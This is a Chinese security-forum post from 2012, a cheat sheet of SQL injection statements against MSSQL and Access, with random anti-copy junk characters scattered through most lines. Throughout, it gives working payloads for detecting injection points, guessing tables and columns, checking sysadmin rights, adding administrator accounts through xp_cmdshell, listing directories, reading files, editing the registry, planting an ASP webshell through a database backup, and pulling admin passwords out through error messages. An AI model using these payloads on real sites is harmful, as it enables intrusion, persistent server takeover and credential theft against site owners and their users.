找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2234|回复: 0
打印 上一主题 下一主题

SQL注入常用语句

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:31:51 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
1.判断是否有注入 + J: h7 F# C9 X5 J
;and 1=1 - m; F/ N& S/ U( ^( e0 @: @
;and 1=2 0 V3 u) F1 q- f* ^' w3 A& n
. }4 N4 I3 [% I3 |9 t
2.初步判断是否是mssql 5 V  L5 I# u" K( {
;and user>0 / {, U8 V. g0 [3 M
4 W. \+ g  Q* i6 l4 d1 y
3.判断数据库系统 ( m- d/ k9 ^& c
;and (select count(*) from sysobjects)>0 mssql ' l3 e3 V8 U) k; U
;and (select count(*) from msysobjects)>0 access
+ O+ m* ^/ x/ e5 ~8 N/ _- t
% y* F5 }1 [, K4.注入参数是字符
; P$ T& f" g# I* g# Q& a+ s'and [查询条件] and ''=' - h4 s! U) @. [! t
- K+ f$ ^6 L0 O! O$ M. i( P; \7 c
5.搜索时没过滤参数的
7 L' M7 C: l: U'and [查询条件] and '%25'='
0 H( h6 A) d& J4 o* n7 \( g
  W" E5 j. Y* Q* L6 W' T6.猜数表名 ) G. q' C* K2 i" `- Z  T3 ~
;and (select Count(*) from [表名])>0
% g& z1 U0 ]" U9 o. l) \3 f$ T! b9 V) d$ u+ Z0 @% Z4 k
7.猜字段
) g" m# L6 B* q4 p$ Q;and (select Count(字段名) from 表名)>0
" x! F4 [# H9 T' I$ J+ O
8 C, Q; l4 Q5 v3 p4 j8.猜字段中记录长度
; ^: \6 N8 S- N  L3 n* h! M;and (select top 1 len(字段名) from 表名)>0
; `7 W+ \4 @7 k  X2 l. c! m% v. s/ H1 D  z1 ?" d" R' f0 }: G
9.(1)猜字段的ascii值(access) 6 n/ D" S% n1 _( l9 d: ?
;and (select top 1 asc(mid(字段名,1,1)) from 表名)>0
+ P2 Y( |$ h$ Q
! O) z0 o0 d2 t4 V* e( H& j9 O+ {(2)猜字段的ascii值(mssql)
3 b+ _" H" E. Z. f9 M5 \* r1 v;and (select top 1 unicode(substring(字段名,1,1)) from 表名)>0 3 K, q6 i+ N0 }9 {) e$ l

3 T* X' x' K4 C+ V7 ~  u10.测试权限结构(mssql) " d$ W! N! p+ m9 o1 K- f: S; ?, s
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- ( R" \+ D2 [. v
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));--
" M. ^# y6 r/ Z) Q7 Y+ e9 i;and 1=(select IS_SRVROLEMEMBER('setupadmin'));--
8 H+ z$ q, ]7 I1 U;and 1=(select IS_SRVROLEMEMBER('securityadmin'));--
  n- [/ z; K; H;and 1=(select IS_SRVROLEMEMBER('diskadmin'));--
" K3 a+ [* i2 f) [' M1 p;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- ( V' a. ^) k4 t# v3 V
;and 1=(select IS_MEMBER('db_owner'));-- ) A/ l3 X9 A% B2 i3 P  W/ d; M
5 m7 t7 u7 J' Y' o8 U. M
11.添加mssql和系统的帐户
- Z! M3 _3 o* a8 P" a;exec master.dbo.sp_addlogin username;--
" H" h6 X, F. H;exec master.dbo.sp_password null,username,password;-- 7 l4 Z7 z1 z6 ^' ~* U
;exec master.dbo.sp_addsrvrolemember sysadmin username;--
9 Z8 Y. y3 c6 p! n1 ~;exec master.dbo.xp_cmdshell 'net user username password /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add';-- : n& n& R/ _. x1 |
;exec master.dbo.xp_cmdshell 'net user username password /add';-- : d4 N. G7 u! S5 _" l6 T& V, a8 [
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';--
8 C: f( H% d, ^( j  n
! p: `) @( [; Q- e12.(1)遍历目录 8 d1 \$ v  v3 R
;create table dirs(paths varchar(100), id int)
$ P4 R" \+ R) v  X;insert dirs exec master.dbo.xp_dirtree 'c:\' ( P: T2 q6 ]6 {" Q$ }* j, M
;and (select top 1 paths from dirs)>0 $ {4 b+ L+ D% i7 z0 n3 C
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) 8 d" z! h  [$ C

. g/ ?0 z# N" Y(2)遍历目录 ; T9 [. O* z0 |* z; h. `5 k
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- . {( x( n4 O! ^$ y
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 7 Y) L9 b* h/ N5 c. C
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表
" }. |( `. T/ K4 c6 c6 H;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树结构
9 K7 P; P5 @$ n5 O;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容
$ L* q' R/ l6 c0 \/ }. ]% [9 b+ G& O! z* A9 J2 B) y# h4 s2 E! Z3 W
13.mssql中的存储过程
4 v4 i# f' v7 n" T# pxp_regenumvalues 注册表根键, 子键 ; W  F, P  V3 d8 q; {
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值
. R  X& Z, Q2 {& v7 {xp_regread 根键,子键,键值名 + F3 i3 f1 M& T  R
;exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 2 k( K+ P4 n3 [9 _4 |/ Q
xp_regwrite 根键,子键, 值名, 值类型, 值
+ [: S: _) _) B8 ^$ g值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 : z  b& i& c4 U0 \: E8 M5 b; C4 P
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName','reg_sz','hello' 写入注册表
( r, g, I7 f5 B1 Sxp_regdeletevalue 根键,子键,值名 + q6 |- f3 Q1 z; n
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName' 删除某个值 & W1 y: v6 k8 f1 w5 G# ?
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值   N! x9 J: y2 `& C8 N  Q

% F4 W' _. p9 [14.mssql的backup创建webshell ' K1 e- ?; }4 Z% v
use model
5 T* D4 [" W1 ]0 V3 ocreate table cmd(str image); - ?8 X1 r8 y. u& j! g# b& c
insert into cmd(str) values ('<% Dim oScript %>'); 8 Y' ~0 e& C  ]8 [- h/ a
backup database model to disk='c:\l.asp'; 9 `' v3 |  f5 n8 r7 g

  z9 y  q- q/ h6 P15.mssql内置函数
6 S! S+ ]3 X$ k, ~;and (select @@version)>0 获得Windows的版本号 ; t: E0 W) o( b
;and user_name()='dbo' 判断当前系统的连接用户是不是sa
3 B$ M$ H9 i5 w7 i+ }  r3 o' H; D;and (select user_name())>0 爆当前系统的连接用户
) S1 B" s( E6 \8 Z/ l3 B7 r* g5 b" f2 X;and (select db_name())>0 得到当前连接的数据库 - \7 l% K% \5 }$ K
8 U8 p! b& a6 B  \9 s& c" c' C
4 l; m4 N+ k* d8 w  D. I
+ y$ Z, V& Y+ K$ i1 \9 W! E
MSSQL手注暴库
: H- }9 a2 [4 t1 v4 Y* g
2 U5 A1 z( s8 m5 H) e8 p1.暴出当前表名和列名) n! r2 q' U  T6 \; x1 h
在注入点后提交“'having 1=1--",得到返回信息为英文,在这段英文中即可看到一个表名和一个列名。提交“group by 暴出的表名列名having 1=1--",可得到另一个列名;继续提交“group by 暴了的表名列名,暴出的表名.第2个列名 having 1=1--",可再得到一个列名。用同样的方法提交,直到页面不再返回错误信息,就可以得到所有的列名。小知识:暴表名与列名是在SQL语句中“having 1=1—"与GROUP BY结合使用,进行条件判断的。由于语句不完整,因此数据库返回错误信息,并显示一个表名和一个列名。基本方法只能暴出数据库中的当前表,如果某个表中包含的列名非常多,用上基本方法就非常困难了。
9 B8 Z5 q8 d3 z9 g1 R: @; |( p6 s: `3 V( W% @
第一.爆出所有数据库名1 D  Z* T+ a0 P4 ?8 Z! Y
利用“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])"语句,暴出数据库中任意表名和列名,其中“[N]"表示数据库中的第N个表。
  H& E  J% M1 H# X: Y第一步:在注入点后提交如下语句:“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=12)",因为 dbid 的值从1到5,是系统使用的,所以用户自己建的一定是从6开始的,并且我们提交了 name>1,name字段是一个字符型的字段,和数字比较会出错因此在提交后,IE会返回如下的信息:“Microsoft OLE DB Provider for ODBC Drivers 错误 ?e07' [Microsoft][ODBC SQL Server Driver][SQL Server]将 nvarchar 值 'Northwind' 转换为数据类型为 int 的列时发生语法错误。",这样就把name字段的值暴出来了,也就是我们得到了一个库名“Northwind"。改变“dbid"的值可以得出所有的库名。; t  l( p+ d) g, {; T$ f- D
$ ?" i3 s2 [- N; k, e, g+ v
and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])--  修改N从6开始爆出所有数据库名8 j: @. ^: d$ o1 t5 c
0 u6 M; K* \; k; d/ p4 @

- j; N4 b6 ?7 i. y3 B# b( o第二.爆出指定库中的所有表名2 O9 Q' D7 z8 m, i; K
得到了库名后,现在要得到库中所有的表名,提交如下语句:"and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U') ",这里要暴的是master这个库中的表名,查询的SQL语句返回的是name的值,然后和数字0比较,这样就会暴露出name的值。提交后一个表名为“'spt_monito"就被暴出来了。$ s9 s$ M) |3 J# r# M
再接着暴其他的表,继续提交如下语句:“and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U' and name not in('spt_monito'))"提交后,又暴出一个表名为"cd512"。依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出所有的表名。! f( V) y/ W- Q( L% b* R' [2 k# t
; V( J* q- [0 e1 x
and 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U')--. w( W" y  e* |! n/ B$ U5 H
and 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]'))--5 N+ A! P* S! R2 W
and 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]','[爆出的第二表名]'))--
0 D7 w* x$ g" `8 n$ S; [$ Z) `3 v1 Z) C5 G. W
4.爆出指定表中的所有列名
0 }* m* @% J/ W  X0 N1 @and 0<>(select count(*) from bbs.dbo.sysobjects where xtype='U' and name='admin' and uid>(str(id)))
5 Q# a& d% {% H9 E/ J5 K//把ID值转成字符型后再和一个整型值比较。ID号出来了。值为:949578421  name='表名'" ^* l5 D) \) X
" I; ~; M. _' |7 j
and 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421)--  爆出admin表中的一个字段名
# C" h7 V. s* n5 W& Z7 \3 H5 V
2 j# `" l7 S# `, B; a! Y  _, A再提交and 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421 and name not in('adduser'))-- ; s- E: K8 C& I1 }
依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出admin表中的所有字段名。
  B5 D. B9 f# g3 |  F$ o  x
3 r" _+ v, V/ G' R8 F% e+ y, e; a+ x
and 0<>(select count(*) from [指定库名].dbo.sysobjects where xtype='U' and name='[要爆字段的表名]' and uid>(str(id)))--  爆出要爆字段的表名id值6 Y' ^2 r! o1 v4 @. K
0 E+ X' p; q" v( u
and 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值)-- 爆出id值表中的一个字段名8 I" H# G' @% w4 @8 K

- C- ]2 C! \0 c; C/ i+ M* l  tand 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值 and name not in('[爆出的字段名]'))--
% T4 y7 T3 i3 h. S0 P6 o  e1 j/ d# s, X; M

1 C* v6 ~# {/ C% D5 s* {) Y. @) i$ q1 P! B
5.读取指定表中的数据
) V$ J% i8 C5 s9 V1 n4 k0 @& x( a0 i( a& }
and 0<(select A_ID from wutong.dbo.admin where A_UserID>1)-- 爆出A_PWD的内容
1 o7 B9 r% a2 y! `
$ W  R, S4 ]' I+ }) jand 0<(select [一个存在的字段] from [指定库名].dbo.[要查询的表名] where [要爆内容的字段名]>1)--! Z1 o6 @. k& G: _1 r

1 x5 Z2 L- N0 G  _& Cand 0<(select A_ID from wutong.dbo.admin where A_PWD>1 and A_UserID='admin')-- 爆出admin的密码
. ]. [0 F* _" x3 n; g& V
% [2 X% Y6 j, T. U. |% |9 g$ e1 ?: Y. t  ^& r* H
and 0<(Select Top 1 A_UserID FROM admin where A_ID<>1)--  爆出id<>1的管理员名字(fuhao)% a% v; \' y. q, @  S
9 [% v- W# O7 R' G# z6 R  ^& o1 u
and 0<(Select Top 1 A_UserID FROM admin where A_ID <>1 and A_UserID <> 'fuhao')-- 爆出第二个管理员的名字 <>不等于(tuiguang)6 A# w. K0 m* n; ?1 W0 p

# N" N! j% j- R, V  G2 {7 eand 0<(Select Top 1 A_UserID FROM admin where  A_ID <>1 and A_UserID <> 'fuhao'and A_UserID <> 'tuiguang')--- Q0 ^- e' P9 ]0 \2 m9 o0 }

8 l$ Q+ G5 ?: s$ Q% ~% A知道了数据库的表名、列名后,可以利用“查询语句"读取数据库中的任意信息。例如要读取某个表中某列中的第N个数据,可提交语句:“and (Select Top 1 列名 FROM 表名 where id=[N])>1"( [N]代表列中的第N条数据),从IE返回信息中即可得知想要的数据。. K# Z( Y7 o) F$ ^
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表